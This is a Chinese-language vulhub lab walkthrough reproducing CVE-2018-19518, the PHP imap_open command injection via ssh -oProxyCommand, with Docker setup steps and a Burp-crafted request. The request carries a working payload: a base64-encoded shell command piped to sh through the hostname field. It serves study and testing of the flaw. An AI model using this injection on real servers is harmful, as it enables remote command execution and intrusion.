漏洞介绍
-php imap扩展用户在php中执行邮件收发操作,其imap_open函数会调用rsh来连接远程shell,而debianh/Ubuntu中默认使用ssh来代替rsh功能,也就是说debian系列系统中,执行rsh命令实际执行的是ssh命令。
-debian系列系统有Ubuntu、kali、MX linux、AntiX、PureOS等。
-ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者可以通过注入这个参数,最终将导致命令执行漏洞。
-ProxyCommand用来指定连接到服务器的命令. 其可以是任何的命令,只要能从其标准输入读入数据,然后写出到标准输出即可. 这条命令需要连接到sshd服务器上。
漏洞复现
首先进入环境,最好在root权限下进行
cd vulhub/php/CVE-2018-19518
然后我们进入到该目录下使用docker启动
docker-compose build
docker-compose up -d
然后我们访问该ip的8080端口,出现一个登陆界面,这里我们随意输入,准备采取抓包
使用burp进行抓包,并发送到Repeater里
然后我们修改数据包,添加一段执行代码
例如 echo ‘Hello’>/tmp/test,对它进行base64编码
ZWNobyAYSGVsbG8ZPi90bXAvdGVzdA==
这里-oProxyCommand 表示使用该参数。
%09后添加上面进行base64编码后的内容,再将部分内容进行url编码。
hostname=x+-oProxyCommand%3decho%09ZWNobyAnSGVsbG8nPi90bXAvdGVzdA%3d%3d|base64%09-d|sh}&username=111&password=222
点击send发送数据包以后,我们准备进入虚拟机查看是否创建成功
进入容器
这里我们进入容器查看刚才文件是否创建成功,先查询id
docker ps -a
查看容器id后在下面命令中输入id进入
docker exec -it ID /bin/bash
进入到tmp目录下查看文件
cd /tmp
ls -al
cat test
这里我们可以发现刚刚test文件创建成功
移除环境
做完实验以后先不要关闭当前界面,移除环境关闭镜像。
docker-compose down
# 关闭正在运行的容器,删除所有相关的容器,移除NAT(docker-compose在运行的时候会创建一个NAT网段)